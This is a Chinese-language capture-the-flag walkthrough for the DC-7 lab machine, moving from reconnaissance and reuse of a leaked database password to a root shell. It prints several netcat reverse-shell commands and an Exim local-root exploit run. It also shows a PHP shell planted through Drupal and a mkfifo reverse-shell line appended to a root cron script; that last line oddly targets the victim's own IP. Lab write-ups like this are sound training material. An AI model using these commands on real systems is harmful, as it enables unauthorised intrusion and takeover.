概述
目录
DC-7靶机渗透测试
1、信息收集
1.1 扫描开放的端口
1.2 访问WEB站点
2、登录ssh
3、 提权(suid提权)
3.1 exim4提权
4、drush 命令对任意用户密码进行更改
5、登录admin
6、拿到root权限
DC-7靶机渗透测试
0x00实验环境
kali的IP:192.168.3.188
DC-7的MAC地址:00:0C:29:FB:B4:27(192.168.3.191)(使用Kali中的arp-scan工具扫描也可)
1、信息收集
1.1 扫描开放的端口
nmap -A 192.168.3.191 -p 1-65535 -oN nmap.A
发现开放了80端口和22端口
1.2 访问WEB站点
发现是Drupal(是国外三大开源的PHP CMS 之一)
提示:
DC-7引入了一些“新”概念,但我将让您弄清楚它们是什么。 :-)
尽管此挑战并不是技术性的全部,但如果您需要诉诸于暴力破解或字典攻击,您可能不会成功。
您将要做的就是在盒子外面思考。 方式在盒子外面。 :-)
1.2.1 扫描网站目录
命令:dirb http://192.168.3.191/
尝试扫描网站目录,没发现什么有价值的目录,发现了robotx.txt文件,这个文件作为常见的可以让爬虫程序扫描的文件之一,控制是否想让爬虫去爬取本站信息
对于robots.txt文件,对里面的目录或者文件都进行了访问查看,未发现有用的信息
1.2.2 通过查询DC7USER查询到DC7-User用户
查询了解到网站左下角为@DC7USER为推特的联系方式,通过查询DC7USER查询到DC7-User用户,从而查询到如下信息,明显与DC-7相关
https://github.com/Dc7User/staffdb
发现config.php,得到数据库的用户名和密码(渗透测试是需要经验积累的,不然很多都想不到!!!)
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
看样子是网站mysql数据库连接的用户名、密码,所有这里就不登录网站了,直接登录后台。dc7user / MdR3xOgB7#dW
在user/login 登录,登录失败
2、登录ssh
用ssh登录:ssh dc7user@192.168.3.191,登录成功!
查看dc7user家目录下有backup文件夹
Gpg后缀文件为加密后的文件,需要有秘钥和密码才能解密。(website.sql和website.tar.gz文件现在都是加密过的)
我们再看看mbox有什么:发现友有好多邮件(From: root@dc-7 (Cron Daemon) To: root@dc-7)
其中的主要信息有:
Shell脚本文件 /opt/scripts/backups.sh
数据库文件:/home/dc7user/backups/website.sql
网站数据: /home/dc7user/backups/website.tar.gz
从目前情况来看,website.sql和website.tar.gz文件现在都是加密过的,现在只能把目光放在另一个文件backups.sh上
2.3.1 查看一下backups.sh这个脚本文件
顺利找到了加密的秘钥,只是解密需要root权限才可以
3、 提权(suid提权)
思路1、sudo -l(查看有没有一些命令在执行期间有root权限标签没有密码保护——Not found)
思路2、查看有没有一些具有suid权限的命令
find / -perm /4000 2>dev/null
3.1 exim4提权
3.1.1 查看exim4版本
/usr/sbin/exim4 --version
发现exim4命令的版本是4.89
3.1.2 使用searchsploit查找响应漏洞
searchsploit exim 4.
Local Privilege Escalation(本地特权升级)
3.1.3 将响应漏洞拷贝到靶机
scp远程拷贝
把它弄到靶机里,使用scp:
需要先在kali开启ssh服务------Kali ssh服务
dc7user@dc-7:~$ scp root@192.168.3.188:/usr/share/exploitdb/exploits/linux/local/46996.sh /tmp/(在
dc7user@dc-7:~$下拷贝)
运行exp,错误:
./46996.sh -m netcat
有个^M,查看此exp后,看到结尾都是M,百度后的文章:
解决“/bin/bash^M: bad interpreter: No such file or directory”sed -i "s/r//" 46996.sh
重新执行exp,先监听kali上的8888端口:./46996.sh -m netcat
nc -e /bin/bash 192.168.3.188 8888
这里很快就会断链了,所以要快点:python -c 'import pty;pty.spawn("/bin/bash")'
切换root失败了,怎么办啊啊啊啊啊~
无果!
4、drush 命令对任意用户密码进行更改
查询drush是drupal shell专门管理drupal站点的shell,使用drush扫描得知drupal用户为admin,cms的管理用户
尝试重置admin用户密码,说明admin用户存在
存在!
若用户不存在则是下面这种情况
重置admin密码为admin,必须在/var/www/html目录下执行
通过查询可知drush 命令可以对任意用户密码进行更改
drush user-password admin --password="123456"
5、登录admin
到后台后想上传一句话木马进行连接,发现没有php模块,这样就没办法解析php,在extend中点击添加php模块
返回页面选择php添加
点击install
先在kali上监听8888端口:nc -lvvp 8888
Add content——》Article
写入反弹shell(OS命令注入)
content创建成功!
在kali上监听已拿到反弹shell
python -c 'import pty;pty.spawn("/bin/bash")'
打开shell交互
6、拿到root权限
kali本地监听8888端口
在/opt/scripts/目录下面输入如下命令
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.191 8888 >/tmp/f" >> backups.sh
反弹成功!
查看theflag文件
最后
以上就是酷酷流沙为你收集整理的【CyberSecurityLearning 76】DC系列之DC-7渗透测试(Drupal)DC-7靶机渗透测试的全部内容,希望文章能够帮你解决【CyberSecurityLearning 76】DC系列之DC-7渗透测试(Drupal)DC-7靶机渗透测试所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复